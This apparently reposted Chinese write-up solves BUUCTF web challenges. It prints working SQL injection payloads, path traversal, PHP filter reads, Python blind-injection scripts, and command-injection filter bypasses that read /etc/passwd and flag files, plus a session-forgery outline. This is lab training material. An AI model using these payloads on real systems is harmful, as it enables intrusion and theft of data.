BUUCTF-web
Posted 【码猿】
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF-web相关的知识,希望对你有一定的参考价值。
目录
- [HCTF 2018]WarmUp
- [极客大挑战 2019]Havefun
- [强网杯 2019]随便注
- [SUCTF 2019]EasySQL
- [ACTF2020 新生赛]Include
- [极客大挑战 2019]Secret
- [极客大挑战 2019]EasySQL
- [极客大挑战 2019]BabySQL
- [极客大挑战 2019]HardSQL
- [极客大挑战 2019]FinalSQL
- [GXYCTF2019]Ping Ping Ping
- [HCTF 2018]admin
[HCTF 2018]WarmUp
源码发现提示source.php审计PHP。发现有三个地方可以返回Ture但是只有后两个是可以的,所以考虑后两个。(第一个无法访问flag)
白名单,只有source.php和hint.php。
mb_substr()
返回字符串从第二个参数到第三个参数的值即str[0:2]
mb_strpos()
查找到第一个含有第二个参数的位置。
可以构造payloadfile=hint.php?../../../../../ffffllllaaaagggg
第二个绕过
对第一个进行url编码file=hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
[极客大挑战 2019]Havefun
源码有提示cat =dog
出flag
[强网杯 2019]随便注
输入一个’直接报错。可以sql注入,但是过滤了select
我们在这里用堆叠查询
查表
1';show columns from `1919810931114514`;#
发现flag列
这里献上大佬的payload
1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#
[SUCTF 2019]EasySQL
可以进行堆注入;
1;show tables;
有flag表;
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期解:*,1
[ACTF2020 新生赛]Include
考察php伪协议读取flag.php
file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]Secret
这个题根据源码提示访问action.php然后访问secr3t.php。考察php伪协议
直接php伪协议读取flag.php
file=php//filter/read=convert.base64-encode/resource=./flag.php
解码得flag
order by 3
正常
order by 4
报错
然后
'union select 1,2,3#
发现2,3位可以回显
查表
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列
'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
查字段
' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
[极客大挑战 2019]EasySQL
直接万能密码'or 1=1
出来flag
[极客大挑战 2019]BabySQL
输入’报错
直接order by 5
发现
or和by被换为空,所以用双写绕过
oorrder bbyy 4
报错
oorrder bbyy 3
正常
admin'union select 1,2,3#
union和select都被过滤直接双写绕过
和上一个就差不多了
表
'ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
列
'ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'#
字段
'ununionion selselectect 1,2,group_concat(id,username) frofromm b4bsql#
[极客大挑战 2019]HardSQL
发现union和by都被过滤了。所以联合查询是行不通了。
这里是updatexml()报错注入。我们先了解一下updatexml()报错注入。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
updatexml(1,concat(0x7e,(database()),0x7e),1)
因为concat函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
爆表
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
爆段
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆字段
admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
因为字数限制只能爆出来前一段,我们需要用right函数爆出来后面的
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
拼接一下就出来了
flagf61eacc4-e798-4b23-9bd1-7fc7a0c6cc39
[极客大挑战 2019]FinalSQL
根据提示是布尔盲注
这是我自己写的代码不过效率不高
import requests
import string
url = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^"
s = 'others~~~'
str = ''
# sql = "database()"
# sql = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
## F1naI1y,Flaaaaag
# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')"
## id,fl4gawsl
# sql = "select(group_concat(fl4gawsl))from(Flaaaaag)"
# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')"
## id,username,password
sql = "select(group_concat(password))from(F1naI1y)"
payload = "(ascii(substr((),,1))=)^1"
url+=payload
for i in range(1000):
for j in string.printable:
r = requests.get(url.format(sql,i+1,ord(j)))
if s in r.content.decode():
str += j
print(str)
break
print(i)
这是大佬的代码
url = 'http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?'
flag = ''
for i in range(172,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
payload = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
[GXYCTF2019]Ping Ping Ping
首先打开网页发现
输入/?ip=127.0.0.1返回ping的信息。执行代码发现/?ip=127.0.0.1|ls flag.php 发现空格被ban
经过一番尝试最后看的大佬的wp
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
过滤空格的方法
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展OS_COMMAND,ARGUMENT cat,/etc/passwd
$IFS 空格绕过 cat$IFSa.txt
变量控制 X=$'cat\\x09./flag.php
关键词过滤
使用空变量 使用$*和$@,$x(x 代表 1-9),$x(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca$21t a.txt
反斜杠 ca\\t a.txt
变量替换 a=ca;b=t;c=a.txt; a a ab $c
引号 c'a't flag.php
编码绕过
Base64 编码绕过:
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
通配符 ?*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
a,b:对以逗号分割的文件列表进行拓展 cat flb,cg.php
转自https://blog.csdn.net/qq_42812036/article/details/104297163
[HCTF 2018]admin
这个题是伪造Session。
源码提示不是admin。所以这个题就是登陆admin就可以拿到flag。
随便注册一个账号,在修改密码界面可以发现
然后下载源码在config.py发现SECRET_KEY
然后在index.html页面发现只要session[‘name’] == 'admin’即可以得到flag
先对session进行解密
然后对session进行加密
bp抓包改下session就可以得到flag
以上是关于BUUCTF-web的主要内容,如果未能解决你的问题,请参考以下文章
Buuctf-Web-[ACTF2020 新生赛]Include